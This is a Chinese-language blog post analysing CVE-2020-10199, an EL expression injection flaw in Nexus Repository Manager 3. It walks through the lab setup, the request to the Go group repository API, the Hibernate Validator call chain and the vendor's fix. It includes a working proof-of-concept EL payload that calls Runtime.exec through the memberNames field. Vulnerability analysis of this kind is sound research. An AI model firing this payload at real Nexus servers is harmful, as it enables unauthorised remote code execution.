沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Nexus Repository Manager3 RCE[CVE-2020-10199]

0x00 前言


最近一直忙东忙西,物理实验啥的,实在是烦人,然后写爬虫的时候又因为网络原因浪费好多时间,效率太低了。所以今天就先赶紧来学习一波。

本篇包含以下元素:

  • CVE-2020-10199的分析与利用

0x01 环境搭建


下载源码

漏洞影响说是影响 3.x - 3.21.1的版本,但是我用之前3.14.0的nexus-public并没有搜到相关漏洞处,也可能是我的IDEA索引问题。所以这里我们先从Github上git clone下来最新版,然后使用checkout来切换到3.21.0版本的源码。

git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.21.0-05 origin/release-3.21.0-05

启动容器

docker run -d -p 8081:8081 -p 8000:8000 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=${NEXUS_DATA}/javaprefs -Dstorage.diskCache.diskFreeSpaceLimit=1024 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000" sonatype/nexus3:3.21.1

这里的admin登录密码需要用以下命令获取:

docker exec nexus cat /nexus-data/admin.password 

远程调试

打开IDEA,照着上一篇文章进行配置即可:点击我: Nexus Repository Manager3 RCE

0x02 漏洞初识


漏洞API

在admin界面下的System中的API选项,我们可以看到Nexus的API:

image-20211112190141923

而我们今天的主角是创建Go仓库的API:/beta/repositories/go/group(但值得注意的是,这并不是请求的URL,后面我们会看到)。在这个界面我们还可以看到每个API的用法,这个漏洞API的请求用例如下:

image-20211112200837646

我们可以点击“Try it out”,然后点击蓝色的“Execute”来执行,这时候我们可以开启Burp抓个包看看真正的请求URL:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.0.105:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
Content-Type: application/json
NX-ANTI-CSRF-TOKEN: 0.13387306232374796
Origin: http://192.168.0.105:8081
Content-Length: 186
Connection: close
Cookie: NX-ANTI-CSRF-TOKEN=0.13387306232374796; NXSESSIONID=ca0081e8-e9f8-4651-bbba-ecaabf50ca3f

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": "maven-public"
  }
}

这时候我们放包,却会发现响应为“400”,而且还有诡异的报错,响应包如下:

[
  {
    "id": "group",
    "message": "Cannot deserialize instance of `java.util.ArrayList` out of VALUE_STRING token"
  },
  {
    "id": "memberNames",
    "message": "Cannot deserialize instance of `java.util.ArrayList` out of VALUE_STRING token"
  }
]

难道是我们的环境有问题吗?😋并不是,这里其实是官方写错了(官方也能错吗),我们可以点击Model看看说明:

image-20211112201644019

可以看到是用了”[ ]”的,虽然你会说只有一个时,或许不带也可以,然而后面通过代码的讲解我们会发现是一定要的。现在我们尝试着加上这个,看看会不会成功:

image-20211112202301661

虽然还是400,但是之前诡异的报错变为了稍微正常点的“Does not match”。

漏洞简介

漏洞正是出现在上文的memberNames处,当未匹配成功时,代码最后会进行一个EL表达式的执行,在此处我们便可以借助EL表达式来实现任意命令执行。但是注意,要触发此漏洞,需要一个至少为低权限的账户并登录(管理员账户也可以),登录后获取Cookie中的NX-ANTI-CSRF-TOKENNXSESSIONID,这在后面的代码也有体现。

漏洞POC

可以借助EL表达式:${6*6}来测试是否存在漏洞,如果要RCE,则可以换成${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/chenlvtang')}。(不清楚为什么用\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")不行)

image-20211112203332704

0x03 漏洞分析


定位

我们可以使用IDEA的全局搜索(CTRL + N)来搜索相关的URL,来找到对应的处理文件,这里我们在搜索/go/group的时候找到了我们对应的处理代码:org/sonatype/nexus/repository/golang/rest/GolangGroupRepositoriesApiResource.java

GolangGroupRepositoriesApiResource

根据注解@POST我们可以确定以下代码便是处理POST请求的代码,并且可以看到这个请求需要@RequiresAuthentication,即认证,所以漏洞触发最少需要一个低权限账户:

@POST
@RequiresAuthentication
@Validate
@Override
public Response createRepository(final GolangGroupRepositoryApiRequest request) {
    return super.createRepository(request);
}

看到调用了父类的createRepository方法,传参为我们的请求,不过转换为了特殊的类,内容没什么变化。下面我们继续跟进。

AbstractGroupRepositoriesApiResource#createRepository

@POST
@RequiresAuthentication
@Validate
public Response createRepository(final T request) {
  validateGroupMembers(request);
  return super.createRepository(request);
}

调用了validateGroupMembers,看名字就知道就是对漏洞点处的验证,所以我们跟进这个函数。

AbstractGroupRepositoriesApiResource#validateGroupMembers

  private void validateGroupMembers(T request) {
    String groupFormat = request.getFormat();
    Set<ConstraintViolation<?>> violations = Sets.newHashSet();
    Collection<String> memberNames = request.getGroup().getMemberNames();
    for (String repositoryName : memberNames) {
      Repository repository = repositoryManager.get(repositoryName);
      if (nonNull(repository)) {
        String memberFormat = repository.getFormat().getValue();
        if (!memberFormat.equals(groupFormat)) {
          violations.add(constraintViolationFactory.createViolation("memberNames",
              "Member repository format does not match group repository format: " + repositoryName));
        }
      }
      else {
        violations.add(constraintViolationFactory.createViolation("memberNames",
            "Member repository does not exist: " + repositoryName));
      }
    }
    maybePropagate(violations, log);
  }
}

这里先是获取到我们请求处填写的memberNames放入到一个集合之中: Collection<String> memberNames = request.getGroup().getMemberNames();,然后会用for循环遍历这个集合,先尝试获取该名称的库: Repository repository = repositoryManager.get(repositoryName);,然后用if语句来判断是否存在,这里我们显然是不会存在的,因为库名是我们的Payload,不可能有这么奇怪的库名,所以就会进入else分支,可以看到,这里将我们的Payload和一段字符串进行了拼接,我们继续跟进。

ConstraintViolationFactory#createViolation

public ConstraintViolation<?> createViolation(final String path, final String message) {
    checkNotNull(path);
    checkNotNull(message);
    return validatorProvider.get().validate(new HelperBean(path, message)).iterator().next();
}

检查是否为空后,会再调用一个validate,传参为一个HelperBean类,其构造函数如下:

public HelperBean(final String path, final String message) {
    this.path = path;
    this.message = message;
}

没啥大作用,继续跟进validate。

ConstraintViolationFactory#isValid

经过一系列的调用,中途会重新回到ConstraintViolationFactory中的isValid函数,其代码如下:

private static class HelperValidator
    extends ConstraintValidatorSupport<HelperAnnotation, HelperBean>
{
    @Override
    public boolean isValid(final HelperBean bean, final ConstraintValidatorContext context) {
        context.disableDefaultConstraintViolation();

        // build a custom property path
        ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(bean.getMessage());
 		//省略
        return false;
    }
}

这里调用buildConstraintViolationWithTemplate为我们构造出了一个渲染的模板:

image-20211117110555069

ConstraintTree#validateConstraints

中间省略一万个字(一系列没啥用的调用,要是你感兴趣可以自己去调试🤗,反正我感觉大佬不是这样找到漏洞的,猜错了就当我没说🤣,因为我不是大佬,我要是会漏洞挖掘,还用在这里漏洞分析吗😭),位置:org/hibernate/validator/internal/engine/constraintvalidation/ConstraintTree.java:

public final boolean validateConstraints(ValidationContext<?> validationContext, ValueContext<?, ?> valueContext) {
    List<ConstraintValidatorContextImpl> violatedConstraintValidatorContexts = new ArrayList<>( 5 );
    validateConstraints( validationContext, valueContext, violatedConstraintValidatorContexts );
    if ( !violatedConstraintValidatorContexts.isEmpty() ) {
        for ( ConstraintValidatorContextImpl constraintValidatorContext : violatedConstraintValidatorContexts ) {
            for ( ConstraintViolationCreationContext constraintViolationCreationContext : constraintValidatorContext.getConstraintViolationCreationContexts() ) {
                validationContext.addConstraintFailure(
                    valueContext, constraintViolationCreationContext, constraintValidatorContext.getConstraintDescriptor()
                );
            }
        }
        return false;
    }
    return true;
}

这里最后会进入到 validationContext.addConstraintFailure

AbstractValidationContext#addConstraintFailure

位于org/hibernate/validator/internal/engine/validationcontext/AbstractValidationContext.java,其代码如下:

public void addConstraintFailure(
    ValueContext<?, ?> valueContext,
    ConstraintViolationCreationContext constraintViolationCreationContext,
    ConstraintDescriptor<?> descriptor
) {
    String messageTemplate = constraintViolationCreationContext.getMessage();
    String interpolatedMessage = interpolate(
        messageTemplate,
        valueContext.getCurrentValidatedValue(),
        descriptor,
        constraintViolationCreationContext.getPath(),
        constraintViolationCreationContext.getMessageParameters(),
        constraintViolationCreationContext.getExpressionVariables()
    );
    //省略
}

调用interpolate,经过一系列的调用,最终到了ElTermResolver中的interpolate

interpolate:79, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)

ElTermResolver#interpolate

在这里,我们的EL表达式就会完成最后的渲染并返回结果:

image-20211117104520866

0x04 漏洞修复


Diff结果

与3.21.2-03版本对比可知,在ConstraintViolationFactory#isValid中增加了过滤:

image-20211117111254207

调用了EscapeHelper函数中的stripJavaEL函数,会对我们EL表达式中的${ }进行替换:

public String stripJavaEl(final String value) {
    if (value != null) {
        return value.replaceAll("\\$+\\{", "{").replaceAll("\\$+\\\\A\\{", "{");
    }
    return null;
}

值得注意的是,这个过滤函数本身也出现过被绕过的漏洞历史,这里的代码是被修复后的代码,这个我们将在之后的文章进行讨论

0x05 漏洞扩散


参考Longofo师傅的思路,我们可以通过搜索buildConstraintViolationWithTemplate来找到一些可能存在漏洞的地方,大概是因为这个函数帮助我们构造了一个渲染的模板吧。

以后再写🕊

0x06 参考


Nexus3 EL表达式注入浅析(CVE-2020-10199) - 先知社区 (aliyun.com)

CVE-2020-10204/CVE-2020-10199 Nexus Repository Manager3 分析&以及三个类的回显构造 · Hu3sky’s blog

Nexus Repository Manager 3 几次表达式解析漏洞 (seebug.org)